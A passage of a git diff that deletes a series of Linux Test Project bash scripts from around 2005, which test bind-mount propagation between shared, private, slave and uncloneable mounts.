-	umount parent1/child1
-	umount share1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 0 ]
-then
-        tst_resm TFAIL "bind/test14: FAILED: bind: uncloneable child to private parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test14: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test15 b/testcases/kernel/fs/fs_bind/bind/test15
deleted file mode 100755
index 8e36c55..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test15
+++ /dev/null
@@ -1,96 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test15} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST15***************"
-tst_resm TINFO "bind: uncloneable child to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test15 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mkdir parent1/child1/x
-
-	mount --bind parent1 share1
-	mount --bind "$disk1" parent1/child1/x
-	mount --bind "$disk2" share2
-	mount --bind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	check parent2 share2
-
-	mkdir parent2/child2
-	mount --bind parent1/child1 parent2/child2 2> /dev/null || result=$? # mount should fail
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test15: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test15: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/x
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 0 ]
-then
-        tst_resm TFAIL "bind/test15: FAILED: bind: uncloneable child to slave parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test15: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test16 b/testcases/kernel/fs/fs_bind/bind/test16
deleted file mode 100755
index ec2ef68..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test16
+++ /dev/null
@@ -1,87 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test16} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST16***************"
-tst_resm TINFO "bind: uncloneable child to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test16 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mkdir parent1/child1/x
-
-	mount --bind parent1 share1
-	mount --bind "$disk1" parent1/child1/x
-
-	mkdir parent2/child2
-	mount --bind parent1/child1 parent2/child2 2> /dev/null || result=$? # mount should fail
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test16: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test16: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/x
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 0 ]
-then
-        tst_resm TFAIL "bind/test16: FAILED: bind: uncloneable child to uncloneable parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test16: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test17 b/testcases/kernel/fs/fs_bind/bind/test17
deleted file mode 100755
index 828625a..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test17
+++ /dev/null
@@ -1,100 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test17} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-result=0
-
-tst_resm TINFO "***************TEST17***************"
-tst_resm TINFO "bind: shared subtree with shared child to shared subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test17 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --bind "$disk1" share1
-	mount --bind share1 parent1
-
-	mount --bind parent1 parent2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	check parent1 share1 parent2
-	mount --bind "$disk2" parent1/child1
-	check parent1/child1 parent2/child1
-	check parent1/child1 share1/child1
-	mount --bind "$disk3" parent2/a
-
-	check parent1/a parent2/a share1/a
-
-	mount --bind "$disk4" share1/b
-
-	check parent1/b parent2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test17: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test17: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/b
-	umount parent2/a
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent2
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "bind/test17: FAILED: bind: shared subtree with shared child to shared subtree."
-	exit 1
-else
-	tst_resm TPASS "bind/test17: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test18 b/testcases/kernel/fs/fs_bind/bind/test18
deleted file mode 100755
index 1cb06c4..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test18
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test18} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST18***************"
-tst_resm TINFO "bind: shared subtree with shared child to private subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test18 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --bind "$disk1" share1
-	mount --bind share1 parent1
-
-	mount --bind parent1 parent2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	check parent1 share1 parent2
-	mount --bind "$disk2" parent1/child1
-	check parent1/child1 parent2/child1
-	check parent1/child1 share1/child1
-	mount --bind "$disk3" parent2/a
-
-	check parent1/a parent2/a share1/a
-
-	mount --bind "$disk4" share1/b
-
-	check parent1/b parent2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test18: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test18: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/b
-	umount parent2/a
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent2
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "bind/test18: FAILED: bind: shared subtree with shared child to private subtree."
-	exit 1
-else
-	tst_resm TPASS "bind/test18: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test19 b/testcases/kernel/fs/fs_bind/bind/test19
deleted file mode 100755
index fdec5c3..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test19
+++ /dev/null
@@ -1,109 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test19} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST19***************"
-tst_resm TINFO "bind: shared subtree with shared child to slave subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test19 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	####### SETUP ######
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --bind "$disk1" share1
-	mount --bind share1 parent1
-	mount --bind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	###### BODY ######
-	mount --bind parent1 parent2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	##### VERIFICATION ######
-	check parent1 share1 parent2
-	mount --bind "$disk2" parent1/child1
-	check parent1/child1 parent2/child1
-	check parent1/child1 share1/child1
-	mount --bind "$disk3" parent2/a
-
-	check parent1/a parent2/a share1/a
-
-	mount --bind "$disk4" share1/b
-
-	check parent1/b parent2/b share1/b
-
-	##### CLEANUP ######
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test19: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test19: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/b
-	umount parent2/a
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent2
-	umount parent1
-	umount share1
-	umount share2
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "bind/test19: FAILED: bind: shared subtree with shared child to slave subtree."
-	exit 1
-else
-	tst_resm TPASS "bind/test19: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test20 b/testcases/kernel/fs/fs_bind/bind/test20
deleted file mode 100755
index 57f091b..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test20
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test20} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST20***************"
-tst_resm TINFO "bind: shared subtree with shared child to uncloneable subtree."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test20 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --bind "$disk1" share1
-	mount --bind share1 parent1
-
-	mount --bind parent1 parent2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	check parent1 share1 parent2
-	mount --bind "$disk2" parent1/child1
-	check parent1/child1 parent2/child1
-	check parent1/child1 share1/child1
-	mount --bind "$disk3" parent2/a
-
-	check parent1/a parent2/a share1/a
-
-	mount --bind "$disk4" share1/b
-
-	check parent1/b parent2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test20: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test20: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/b
-	umount parent2/a
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount parent1
-	umount share1
-	umount parent2
-	umount parent1
-	umount share1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "bind/test20: FAILED: bind: shared subtree with shared child to uncloneable subtree."
-	exit 1
-else
-	tst_resm TPASS "bind/test20: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test21 b/testcases/kernel/fs/fs_bind/bind/test21
deleted file mode 100755
index dfba4e7..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test21
+++ /dev/null
@@ -1,114 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test21} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST21***************"
-tst_resm TINFO "bind: multi-level slave p-nodes."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test21 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir1
-
-	mkdir dir1/x dir2 dir3 dir4
-
-	mount --bind dir1 dir2
-	"${FS_BIND_ROOT}/bin/makedir" slave dir2
-	"${FS_BIND_ROOT}/bin/makedir" -n share dir2
-
-	mount --bind dir2 dir3
-	"${FS_BIND_ROOT}/bin/makedir" slave dir3
-	"${FS_BIND_ROOT}/bin/makedir" -n share dir3
-
-	mount --bind dir3 dir4
-	"${FS_BIND_ROOT}/bin/makedir" slave dir4
-
-	mount --bind "$disk1" dir1/x
-
-	check dir1/x dir2/x dir3/x dir4/x
-
-	mount --bind "$disk2" dir2/x/a
-	check -n dir1/x/a dir2/x/a
-	check dir2/x/a dir3/x/a dir4/x/a
-
-	mount --bind "$disk3" dir3/x/b
-	check -n dir1/x/b dir3/x/b
-	check -n dir2/x/b dir3/x/b
-	check dir3/x/b dir4/x/b
-
-	mount --bind "$disk4" dir4/x/c
-	check -n dir1/x/c dir4/x/c
-	check -n dir2/x/c dir4/x/c
-	check -n dir3/x/c dir4/x/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test21: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test21: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir2/x/a
-	umount dir3/x/b
-	umount dir4/x/c
-	umount dir1/x
-	umount dir1
-	umount dir1
-	umount dir2
-	umount dir3
-	umount dir4
-
-	rm -rf dir*
-
-	cleanup
-} >& /dev/null
-
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test21: FAILED: bind: multi-level slave p-nodes."
-        exit 1
-else
-        tst_resm TPASS "bind/test21: PASSED"
-        exit 0
-fi
-
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test22 b/testcases/kernel/fs/fs_bind/bind/test22
deleted file mode 100755
index 027dceb..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test22
+++ /dev/null
@@ -1,95 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test22} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST22***************"
-tst_resm TINFO "bind: bind within same tree - root to child "
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test22 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent
-	"${FS_BIND_ROOT}/bin/makedir" share parent/child1
-	"${FS_BIND_ROOT}/bin/makedir" share parent/child2
-
-	mount --bind parent parent/child2/
-
-	check parent parent/child2/
-
-	mount --bind "$disk3" parent/child2/child1
-
-	check parent/child1 parent/child2/child1
-
-	 umount parent/child2/child1
-
-	check parent/child1 parent/child2/child1
-
-	mount --bind "$disk4" parent/child2/child1
-
-	check parent/child1 parent/child2/child1
-
-	 umount parent/child1
-
-	check parent/child1 parent/child2/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test22: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test22: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent/child1
-	umount parent/child2
-	umount parent/child2
-	umount parent
-
-	rm -rf parent
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "bind/test22: FAILED: bind: bind within same tree - root to child "
-	exit 1
-else
-	tst_resm TPASS "bind/test22: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test23 b/testcases/kernel/fs/fs_bind/bind/test23
deleted file mode 100755
index b6a8679..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test23
+++ /dev/null
@@ -1,89 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test23} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST24***************"
-tst_resm TINFO "bind: shared child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test23 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	mkdir mnt mnt/1 mnt/2 mnt/1/abc tmp1 tmp1/3 tmp2
-
-	mount --bind mnt mnt
-	"${FS_BIND_ROOT}/bin/makedir" share mnt/1 mnt/1
-	mount --bind mnt/1 mnt/2
-	mount --bind "$disk1" mnt/1/abc
-
-	check mnt/1/abc mnt/2/abc "$disk1"
-
-	"${FS_BIND_ROOT}/bin/makedir" share tmp1
-	mount --bind tmp1 tmp2
-
-	mount --move mnt tmp1/3
-	check tmp1/3/1/abc tmp2/3/1/abc tmp2/3/2/abc "$disk1"
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test23: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test23: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount tmp1/3/1/abc
-	umount tmp1/3/1
-	umount tmp1/3/2
-	umount tmp1/3
-	umount tmp1
-	umount tmp1
-	umount tmp2
-
-	rm -rf mnt tmp1 tmp2
-
-
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "bind/test23: FAILED: bind: shared child to shared parent."
-	exit 1
-else
-	tst_resm TPASS "bind/test23: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test24 b/testcases/kernel/fs/fs_bind/bind/test24
deleted file mode 100755
index 59f70c6..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test24
+++ /dev/null
@@ -1,87 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
